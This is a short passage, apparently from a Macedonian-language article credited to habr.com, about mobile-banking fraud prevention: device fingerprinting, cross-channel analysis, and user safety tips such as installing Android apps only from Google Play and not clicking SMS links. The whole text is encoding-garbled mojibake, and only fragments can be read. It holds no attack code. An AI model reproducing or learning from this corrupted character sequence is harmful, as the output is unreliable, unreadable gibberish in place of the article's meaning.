Π·Π° Π΄ΠΈΠ³ΠΈΡΠ°Π»Π΅Π½ ΠΎΡΠΏΠ΅ΡΠ°ΡΠΎΠΊ ΠΎΠ΄ ΠΏΡΡΡ, ΡΡΠΎ ΡΠ΅ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° ΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ ΠΊΠΎΠ³Π° ΡΠΌΠ΅ΡΠΊΠ°ΡΠ° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ ΠΎΠ΄ Π½Π΅ΡΠΈΠΏΠΈΡΠ΅Π½ ΡΡΠ΅Π΄ ΠΈ Π²Π΅ΡΠ΅ ΠΏΠ°Π΄Π½Π°Π»Π° Π²ΠΎ ΡΠ°ΡΠ΅ΡΠ΅ Π½Π° ΠΈΠ·ΠΌΠ°ΠΌΠ½ΠΈΠΊ.
Π€ΡΠ½Π΄Π°ΠΌΠ΅Π½ΡΠ°Π»Π½ΠΎ Π²Π°ΠΆΠ½Π° ΡΠΎΡΠΊΠ° Π΅ Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΎΡΡΠ° Π½Π° ΠΌΠ΅ΡΡΠΊΠ°Π½Π°Π»Π½Π° Π°Π½Π°Π»ΠΈΠ·Π°, ΠΊΠΎΡΠ° ΠΈΠΌ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π½Π° ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈΡΠ΅ Π΄Π° Π³ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΠ°Π°Ρ ΡΠΈΠ·ΠΈΡΠΈΡΠ΅ ΡΡΠΎ ΠΏΡΠΎΠΈΠ·Π»Π΅Π³ΡΠ²Π°Π°Ρ Π½Π΅ ΡΠ°ΠΌΠΎ Π½Π° ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ, ΡΡΠΊΡ ΠΈ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈΠΎΡ ΠΊΠ°Π½Π°Π», Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, Π²ΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΎ Π±Π°Π½ΠΊΠ°ΡΡΡΠ²ΠΎ, Π·Π° ΡΡΠ°Π½ΡΠ°ΠΊΡΠΈΠΈ ΡΠΎ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ ΠΈ ΠΊΠΎΠΈ Π±ΠΈΠ»ΠΎ Π΄ΡΡΠ³ΠΈ ΠΊΠ°Π΄Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π²ΡΡΠ°Ρ ΡΡΠ°Π½ΡΠ°ΠΊΡΠΈΠΈ.ΡΠΈΠ½Π°Π½ΡΠΈΡΠΊΠ° ΡΡΠ°Π½ΡΠ°ΠΊΡΠΈΡΠ°.
ΠΡΠ°Π²ΠΈΠ»Π° Π·Π° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ Π·Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅:
- Π½Π΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Π·Π° ΠΌΠΎΠ±ΠΈΠ»Π΅Π½ ΡΡΠ΅Π΄ ΡΠΎ Android OS ΠΎΠ΄ Π΄ΡΡΠ³ΠΈ ΠΈΠ·Π²ΠΎΡΠΈ ΠΎΡΠ²Π΅Π½ Google Play, ΠΎΠ±ΡΠ½Π΅ΡΠ΅ ΠΏΠΎΡΠ΅Π±Π½ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΏΡΠ°Π²Π°ΡΠ° ΡΡΠΎ Π³ΠΈ Π±Π°ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°;
- ΡΠ΅Π΄ΠΎΠ²Π½ΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΡΡΠ΅ Π°ΠΆΡΡΠΈΡΠ°ΡΠ° Π½Π° Android OS;
- ΠΎΠ±ΡΠ½Π΅ΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΅ΠΊΡΡΠ΅Π½Π·ΠΈΠΈ Π½Π° ΠΏΡΠ΅Π·Π΅ΠΌΠ΅Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ;
- Π½Π΅ ΠΏΠΎΡΠ΅ΡΡΠ²Π°ΡΡΠ΅ ΡΠΎΠΌΠ½ΠΈΡΠ΅Π»Π½ΠΈ ΡΠ΅ΡΡΡΡΠΈ;
- ΠΠ΅ ΠΊΠ»ΠΈΠΊΠ°ΡΡΠ΅ Π½Π° Π»ΠΈΠ½ΠΊΠΎΠ²ΠΈΡΠ΅ ΠΏΡΠΈΠΌΠ΅Π½ΠΈ Π²ΠΎ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈΡΠ΅.
ΠΠΎ Π³Π»Π°Π²Π½Π°ΡΠ° ΡΠ»ΠΎΠ³Π° Π‘Π΅ΠΌΡΠΎΠ½ Π ΠΎΠ³Π°ΡΠ΅Π²Π°, ΠΏΠΎΠΌΠ»Π°Π΄ ΡΠΏΠ΅ΡΠΈΡΠ°Π»ΠΈΡΡ Π·Π° ΠΈΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ Π²ΠΎ ΠΠ°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΠ°ΡΠ° Π·Π° ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΡΠΊΠ° ΡΠΎΡΠ΅Π½Π·ΠΈΠΊΠ° Group-IB.
ΠΠ·Π²ΠΎΡ: www.habr.com